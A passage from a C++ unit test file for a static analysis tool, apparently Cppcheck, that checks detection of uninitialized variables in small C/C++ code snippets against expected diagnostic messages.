len, int limit = 123);\\n\"\n \" void Sync(int& syncpos, dsmp_t& type, int& len, int limit = 123);\\n\"\n \" void FindSyncPoint();\\n\"\n \"};\\n\"\n \"void Fred::FindSyncPoint() {\\n\"\n \" dsmp_t type;\\n\"\n \" int syncpos, len;\\n\"\n \" Sync(syncpos, type, len);\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar9() { // 6424\n const char code[] = \"namespace Ns { class C; }\\n\"\n \"void f1() { char *p; *p = 0; }\\n\"\n \"class Ns::C* p;\\n\"\n \"void f2() { char *p; *p = 0; }\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Uninitialized variable: p [legacyUninitvar]\\n\"\n \"[test.cpp:4:23]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar10() { // 9467\n const char code[] = \"class Foo {\\n\"\n \" template \\n\"\n \" bool bar() {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"bool Foo::bar<9>() {\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"int global() {\\n\"\n \" int bar = 1;\\n\"\n \" return bar;\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar11() { // 9123\n const char code[] = \"bool get(int &var);\\n\"\n \"void foo () {\\n\"\n \" int x;\\n\"\n \" x = get(x) && x;\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar12() { // 10218\n const char code[] = \"void fp() {\\n\"\n \" std::stringstream ss;\\n\"\n \" for (int i; ss >> i;) {}\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar13() { // #9772 - FP\n const char code[] = \"int func(void)\\n\"\n \"{ int rez;\\n\"\n \" struct sccb* ccb;\\n\"\n \" \\n\"\n \" do\\n\"\n \" { if ((ccb = calloc(1, sizeof(*ccb))) == NULL)\\n\"\n \" { rez = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" rez = 0;\\n\"\n \" } while (0);\\n\"\n \" \\n\"\n \" if (rez != 0)\\n\"\n \" free(ccb);\\n\"\n \" \\n\"\n \" return rez;\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar14() { // #11832\n const char code[] = \"void f() {\\n\"\n \" int b;\\n\"\n \" *(&b) = 0;\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_unconditionalTry() {\n // Unconditional scopes and try{} scopes\n checkUninitVar(\"int f() {\\n\"\n \" int i;\\n\"\n \" {\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int i;\\n\"\n \" try {\\n\"\n \" return i;\\n\"\n \" } catch(...) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(bool x) {\\n\"\n \" bool b;\\n\"\n \" {\\n\"\n \" auto g = []{};\\n\"\n \" b = x;\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(bool x) {\\n\"\n \" bool b;\\n\"\n \" {\\n\"\n \" int i[2]{ 1, 2 };\\n\"\n \" b = x;\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(bool x) {\\n\"\n \" bool b;\\n\"\n \" {\\n\"\n \" auto g = []{};\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (error) Uninitialized variable: b [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar_funcptr() {\n // extracttests.disable\n\n checkUninitVar(\"void getLibraryContainer() {\\n\"\n \" Reference< XStorageBasedLibraryContainer >(*Factory)(const Reference< XComponentContext >&, const Reference< XStorageBasedDocument >&)\\n\"\n \" = &DocumentDialogLibraryContainer::create;\\n\"\n \" rxContainer.set((*Factory)(m_aContext, xDocument));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" void* x;\\n\"\n \" int (*f)(int, int) = x;\\n\"\n \" dostuff((*f)(a,b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void getLibraryContainer() {\\n\"\n \" Reference< XStorageBasedLibraryContainer >(*Factory)(const Reference< XComponentContext >&, const Reference< XStorageBasedDocument >&);\\n\"\n \" rxContainer.set((*Factory)(m_aContext, xDocument));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Uninitialized variable: Factory [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.enable\n }\n\n void uninitvar_operator() { // Ticket #6463, #6680\n checkUninitVar(\"struct Source { Source& operator>>(int& i) { i = 0; return *this; } };\\n\"\n \"struct Sink { int v; };\\n\"\n \"Source foo;\\n\"\n \"void uninit() {\\n\"\n \" Sink s;\\n\"\n \" int n = 1 >> s.v;\\n\" // Not initialized\n \"};\\n\"\n \"void notUninit() {\\n\"\n \" Sink s1;\\n\"\n \" foo >> s1.v;\\n\" // Initialized by operator>>\n \" Sink s2;\\n\"\n \" int n;\\n\"\n \" foo >> s2.v >> n;\\n\" // Initialized by operator>>\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (error) Uninitialized struct member: s.v [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct Fred { int a; };\\n\"\n \"void foo() {\\n\"\n \" Fred fred;\\n\"\n \" std::cin >> fred.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Handling of function calls\n void uninitvar2_func() {\n // #4716\n checkUninitVar(\"void bar(const int a, const int * const b);\\n\"\n \"int foo(void) {\\n\"\n \" int a;\\n\"\n \" int *b = 0;\\n\"\n \" bar(a,b);\\n\" // <<\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n // non-pointer variable\n checkUninitVar(\"void a(char);\\n\" // value => error\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(char c);\\n\" // value => error\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(const char c);\\n\" // const value => error\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(char *c);\\n\" // address => no error\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a(pstr s);\\n\" // address => no error\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a(const char *c);\\n\" // const address => data is not changed\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(&c);\\n\" // <- no warning\n \" c++;\\n\" // <- uninitialized variable\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Uninitialized variable: c\\n\", \"\", errout_str());\n\n // pointer variable\n checkUninitVar(\"void a(char c);\\n\" // value => error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(*c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n\n checkUninitVar(\"void a(char *c);\\n\" // address => error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"typedef struct { int a; int b; } AB;\\n\"\n \"void a(AB *ab);\\n\"\n \"void b() {\\n\"\n \" AB *ab;\\n\"\n \" a(ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (error) Uninitialized variable: ab [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(const char *c);\\n\" // const address => error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(const char c[]);\\n\" // const address => error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(char **c);\\n\" // address of pointer => no error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a(char *c);\\n\" // address of pointer (suspicious cast to pointer) => no error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a(const char **c);\\n\" // const address of pointer => no error\n \"void b() {\\n\"\n \" const char *c;\\n\"\n \" a(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // array\n checkUninitVar(\"int calc(const int *p, int n);\\n\"\n \"void f() {\\n\"\n \" int x[10];\\n\"\n \" calc(x,10);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: x [legacyUninitvar]\\n\",\n \"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x[10];\\n\"\n \" int &x0(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ....\n checkUninitVar(\"struct ABC { int a; };\\n\" // struct initialization\n \"void clear(struct ABC &abc);\\n\"\n \"int f() {\\n\"\n \" struct ABC abc;\\n\"\n \" clear(abc);\\n\"\n \" return abc.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void write_packet() {\\n\"\n \" time_t now0;\\n\"\n \" time(&now0);\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void write_packet() {\\n\"\n \" time_t* now0;\\n\"\n \" time(now0);\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Uninitialized variable: now0 [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void write_packet() {\\n\"\n \" char now0;\\n\"\n \" strcmp(&now0, sth);\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:13]: (error) Uninitialized variable: now0 [legacyUninitvar]\\n\", errout_str());\n\n // #2775 - uninitialized struct pointer in subfunction\n // extracttests.start: struct Fred {int x;};\n checkUninitVar(\"void a(struct Fred *fred) {\\n\"\n \" fred->x = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" struct Fred *p;\\n\"\n \" a(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // #2946 - FP array is initialized in subfunction\n checkUninitVar(\"void a(char *buf) {\\n\"\n \" buf[0] = 0;\\n\"\n \"}\\n\"\n \"void b() {\\n\"\n \" char buf[10];\\n\"\n \" a(buf);\\n\"\n \" buf[1] = buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown macro\n checkUninitVar(\"void f() {\\n\"\n \" struct listnode *item;\\n\"\n \" list_for_each(item, &key_list) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar2_value() {\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" int y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" if (y != 0) return;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i, y;\\n\"\n \" if (x) {\\n\"\n \" y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" if (y != 0) return;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i, y;\\n\"\n \" if (x) y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" else y = get_value(i);\\n\"\n \" if (y != 0) return;\\n\" // <- condition is always true if i is uninitialized\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" if (!x || i>0) {}\\n\" // <- no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (!x) { }\\n\"\n \" else i = 0;\\n\"\n \" if (x || i>0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) { }\\n\"\n \" else i = 0;\\n\"\n \" if (x || i>0) {}\\n\" // <- no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int x) {\\n\"\n \" int y;\\n\"\n \" if (x) y = do_something();\\n\"\n \" if (!x) return 0;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int y;\n checkUninitVar(\"int f(int x) {\\n\" // FP with ?:\n \" int a;\\n\"\n \" if (x)\\n\"\n \" a = y;\\n\"\n \" return x ? 2*a : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int x) {\\n\"\n \" int a;\\n\"\n \" if (x)\\n\"\n \" a = y;\\n\"\n \" return y ? 2*a : 3*a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(checkUninitVar(\"void f() {\\n\" // Don't crash\n \" int a;\\n\"\n \" dostuff(\\\"ab\\\" cd \\\"ef\\\", x?a:z);\\n\" // <- No AST is created for ?\n \"}\"), UNKNOWN_MACRO);\n\n // Unknown => bail out..\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (a(x)) i = 0;\\n\"\n \" if (b(x)) return;\\n\"\n \" i++;\\n\" // <- no error if b(x) is always true when a(x) is false\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" while (condition) {\\n\"\n \" if (x) i++;\\n\" // <- no error\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" while (condition) {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n#define valueFlowUninit(...) valueFlowUninit_(__FILE__, __LINE__, __VA_ARGS__)\n void valueFlowUninit2_value()\n {\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" int y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" if (y != 0) return;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\",\n true);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i, y;\\n\"\n \" if (x) {\\n\"\n \" y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" if (y != 0) return;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\",\n true);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i, y;\\n\"\n \" if (x) y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" else y = get_value(i);\\n\"\n \" if (y != 0) return;\\n\" // <- condition is always true if i is uninitialized\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (!x) i = 0;\\n\"\n \" if (!x || i>0) {}\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:4:15]: (warning) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" if (!x || i>0) {}\\n\" // <- no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (!x) { }\\n\"\n \" else i = 0;\\n\"\n \" if (x || i>0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:14]: (warning) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) { }\\n\"\n \" else i = 0;\\n\"\n \" if (x || i>0) {}\\n\" // <- no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int x) {\\n\"\n \" int y;\\n\"\n \" if (x) y = do_something();\\n\"\n \" if (!x) return 0;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int y;\n valueFlowUninit(\"int f(int x) {\\n\" // FP with ?:\n \" int a;\\n\"\n \" if (x)\\n\"\n \" a = y;\\n\"\n \" return x ? 2*a : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int x, int y) {\\n\"\n \" int a;\\n\"\n \" if (x)\\n\"\n \" a = y;\\n\"\n \" return y ? 2*a : 3*a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:18]: (warning) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(valueFlowUninit(\"void f() {\\n\" // Don't crash\n \" int a;\\n\"\n \" dostuff(\\\"ab\\\" cd \\\"ef\\\", x?a:z);\\n\" // <- No AST is created for ?\n \"}\"), UNKNOWN_MACRO);\n\n // Unknown => bail out..\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (a(x)) i = 0;\\n\"\n \" if (b(x)) return;\\n\"\n \" i++;\\n\" // <- no error if b(x) is always true when a(x) is false\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" while (condition) {\\n\"\n \" if (x) i++;\\n\" // <- no error\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" while (condition) {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n valueFlowUninit(\"void f ( void ){\\n\" // #9313 - FN\n \" int *p;\\n\"\n \" int a[ 2 ] = { [ 0 ] = *p++, [ 1 ] = 1 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Uninitialized variable: p [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int height) {\\n\"\n \" int a[11];\\n\"\n \" int *p = a;\\n\"\n \" int step = 2;\\n\"\n \" for (int i = 0; i < (height * step); i += step)\\n\"\n \" *p++ = 0;\\n\"\n \" for (int i = 0; i < height; i++)\\n\"\n \" if (a[i]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(void) {\\n\"\n \" char *c;\\n\"\n \" char x;\\n\"\n \" while (true) {\\n\"\n \" c = &x;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++c;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12030\n valueFlowUninit(\"int set(int *x);\\n\"\n \"void foo(bool a) {\\n\"\n \" bool flag{0};\\n\"\n \" int x;\\n\"\n \" if (!a) {\\n\"\n \" flag = set(&x);\\n\"\n \" }\\n\"\n \" if (!flag || x==3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int set(int *x);\\n\"\n \"void foo(bool a) {\\n\"\n \" bool flag{0};\\n\"\n \" int x;\\n\"\n \" if (!a) {\\n\"\n \" flag = set(&x);\\n\"\n \" }\\n\"\n \" if (!flag && x==3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:8:18]: (warning) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int do_something();\\n\" // #11983\n \"int set_st(int *x);\\n\"\n \"int bar();\\n\"\n \"void foo() {\\n\"\n \" int x, y;\\n\"\n \" int status = 1;\\n\"\n \" if (bar() == 1) {\\n\"\n \" status = 0;\\n\"\n \" }\\n\"\n \" if (status == 1) {\\n\"\n \" status = set_st(&x);\\n\"\n \" }\\n\"\n \" for (int i = 0; status == 1 && i < x; i++) {\\n\"\n \" if (do_something() == 0) {\\n\"\n \" status = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(status == 1 && x > 0){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int h(bool, bool*);\\n\" // #11760\n \"int f(bool t) {\\n\"\n \" int i = 0;\\n\"\n \" bool b;\\n\"\n \" if (t)\\n\"\n \" g();\\n\"\n \" if (i == 0)\\n\"\n \" i = h(t, &b);\\n\"\n \" if (i == 0 && b)\\n\"\n \" i = h(t, &b);\\n\"\n \" if (i == 0 && b)\\n\"\n \" i = h(t, &b);\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void valueFlowUninit_uninitvar2()\n {\n // using uninit var\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n // extracttests.start: char str[10];\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" str[x] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #7736\n \" int buf[12];\\n\"\n \" printf (\\\"%d\\\", buf[0] );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Uninitialized variable: buf [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" int y = x & 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" int y = 3 & x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 3 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n // extracttests.start: struct ABC {int a;};\n valueFlowUninit(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" abc->a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: abc [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" static int x;\\n\"\n \" return ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" extern int x;\\n\"\n \" return ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #3926 - weird cast.\n \" int x;\\n\"\n \" *(((char *)&x) + 0) = 0;\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #4737 - weird cast.\n \" int x;\\n\"\n \" do_something(&((char*)&x)[0], 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" char *p = (char*)&x + 1;\\n\"\n \"}\",\n true);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" i=f(), i!=2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // using uninit var in condition\n valueFlowUninit(\"void f(void) {\\n\"\n \" int x;\\n\"\n \" if (x) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (1 == (3 & x)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n // ?:\n valueFlowUninit(\"int f(int *ptr) {\\n\"\n \" int a;\\n\"\n \" int *p = ptr ? ptr : &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int a) {\\n\"\n \" int x;\\n\"\n \" if (a==3) { x=2; }\\n\"\n \" y = (a==3) ? x : a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // = ({ .. })\n valueFlowUninit(\"void f() {\\n\"\n \" int x = ({ 1 + 2; });\\n\"\n \" int y = 1 + (x ? y : y);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Uninitialized variable: y [legacyUninitvar]\\n\", \"\", errout_str());\n\n // >> => initialization / usage\n {\n const char code[] = \"void f() {\\n\"\n \" int x;\\n\"\n \" if (i >> x) { }\\n\"\n \"}\";\n valueFlowUninit(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(code, false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n }\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i, i2;\\n\"\n \" strm >> i >> i2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unconditional initialization\n valueFlowUninit(\"int f() {\\n\"\n \" int ret;\\n\"\n \" if (a) { ret = 1; }\\n\"\n \" else { {} ret = 2; }\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" int ret;\\n\"\n \" if (a) { ret = 1; }\\n\"\n \" else { s=foo(1,{2,3},4); ret = 2; }\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // conditional initialization\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { x = 1; }\\n\"\n \" else { if (y == 2) { x = 1; } }\\n\"\n \" return x;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", \"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { x = 1; }\\n\"\n \" else { if (y == 2) { x = 1; } }\\n\"\n \" if (y == 3) { }\\n\" // <- ignore condition\n \" return x;\\n\"\n \"}\");\n 